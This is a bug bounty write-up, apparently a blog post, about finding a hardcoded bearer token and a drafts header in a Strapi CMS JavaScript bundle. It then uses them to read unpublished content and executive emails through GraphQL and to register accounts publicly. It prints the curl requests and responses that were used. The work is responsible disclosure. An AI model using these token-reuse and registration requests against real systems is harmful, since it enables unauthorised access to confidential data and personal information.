August 11, 2026
A Couple’s Hunt: Hardcoded Credentials Lead to Internal Data Exposure & a $300 Bounty
In the world of bug bounty and penetration testing, we often hyper-focus on complex vulnerabilities like RCE, SSRF, or SQLi. Many assume…
By Utaa
3 min read
In the world of bug bounty and penetration testing, we often hyper-focus on complex vulnerabilities like RCE, SSRF, or SQLi. Many assume bug hunting is strictly a solo endeavor. However, in this write-up, we (my girlfriend and I) want to share the story of how our joint hunting session yielded a critical finding in a CMS backend architecture.
This is a story about how a token left behind in a production JavaScript bundle, combined with a little GraphQL manipulation, led to the exposure of internal data, secret draft content, and wide-open Public Registration.
Let's break down how our collaboration uncovered this logic flaw and misconfiguration.
The Reconnaissance: Dissecting the JavaScript Bundle Together
It all started with a standard recon session on a target (let's call it Platform X). The target is a modern application built with React and powered by a Strapi CMS backend with a GraphQL endpoint.
While I was busy mapping out subdomains and fuzzing directories, my girlfriend focused on manually analyzing the Single Page Application (SPA) in the browser. While examining the main.[hash].js file in the production environment, she spotted two highly interesting lines of code and immediately called me over:
- A static CH="HARDCODE CREDENTIALS".
- A hardcoded
x-include-drafts: trueheader inside the bundle.
To a developer, this might just be leftover testing environment (staging/preview) code that accidentally slipped through. But to us, it was the master key.
The Discovery: Piecing the Puzzle Together
Armed with the API token and the header, we started testing the target's GraphQL endpoint at https://cms.target.com/graphql.
Normally, published content (like blog posts) is publicly accessible. However, the x-include-drafts: true header instructs Strapi to respond with content that is still in DRAFT status (publishedAt: null).
We tried a simple GraphQL query using the token:
curl -s -X POST "https://cms.target.com/graphql" \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-H "x-include-drafts: true" \
-d '{"query":"{ caseStudies { data { id attributes { title slug publishedAt } } } }"}'curl -s -X POST "https://cms.target.com/graphql" \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-H "x-include-drafts: true" \
-d '{"query":"{ caseStudies { data { id attributes { title slug publishedAt } } } }"}'The server responded with dozens of case studies that had never been released to the public.
{
"data": {
"caseStudies": [
{
"data": {
"attributes": {
"title": "example",
"slug": "example",
"publishedAt": null
}
}
}
]
}
}{
"data": {
"caseStudies": [
{
"data": {
"attributes": {
"title": "example",
"slug": "example",
"publishedAt": null
}
}
}
]
}
}We validated the slug on the live website, and it returned a 404 Not Found. This confirmed that we were accessing unreleased data meant only for the internal marketing team.
The Impact: More Than Just Draft Articles
The exploration didn't stop there. With this open GraphQL access, we divided our tasks to explore vulnerability chaining and discovered a much more massive impact:
1. Competitive Intelligence & Confidential Data Leak
Beyond just titles, we could pull the full HTML body of the draft articles. These contained confidential client business metrics. To competitors, this financial information and release strategy is a goldmine.
2. C-Suite PII Exposure
Through the Author relation in the GraphQL posts, the database structure exposed executive email addresses (like the personal emails of the CEO & Founder). This data is highly susceptible to high-level spear-phishing attacks.
3. Open Registration Without Verification
The exploration continued when my girlfriend discovered that the plugin::users-permissions.auth.register action was left active for the Public role. What does this mean? Anyone could register a new CMS account without authentication or admin approval!
curl -s -X POST "https://cms.target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"mutation { register(input: { username: \"poc-hacker\", email: \"hacker@poc.com\", password: \"Password123!\" }) { jwt user { id username email } } }"}'curl -s -X POST "https://cms.target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"mutation { register(input: { username: \"poc-hacker\", email: \"hacker@poc.com\", password: \"Password123!\" }) { jwt user { id username email } } }"}'The system responded with a valid JWT, and upon logging in, the account status showed confirmed: true and blocked: false. Although the Authenticated role didn't currently have elevated privileges for dangerous actions (all write/read actions returned 403 Forbidden), this flaw allowed attackers to perform massive user database pollution.
4. GraphQL Permission Enumeration
Finally, we successfully extracted the entire CMS permission model (66+ permission actions), revealing hidden internal custom endpoints like api::data-transfer.migrateHideForEmbedded.
Inspiration & Takeaways
The findings from our couple's hunting session might seem simple, but the impact was extraordinary. Here are some key takeaways:
For Bug Hunters:
- Never ignore JavaScript files. De-obfuscate them and look for sensitive keywords like
token,bearer,x-, orsecret. Often, the keys to the kingdom are left in the most accessible places. - Collaboration brings new perspectives. Sometimes, one person is hyper-focused on finding complex bypasses, while the other spots a blatant business logic flaw right in front of them.
- Understand the target's architecture. Knowing how React interacts with GraphQL and Strapi is crucial for chaining exploitation scenarios (like understanding the magic behind the
x-include-draftsfunction).
Sometimes, the biggest vulnerabilities aren't born from genius system bypasses, but from forgotten debug code left behind before pushing to production.
Keep hacking, keep exploring, and always check those JS bundles!
— Putra Mahardika (@mhrdkaa._) & Rara Sindy Aprilia Putri (Instagram @rssnyy)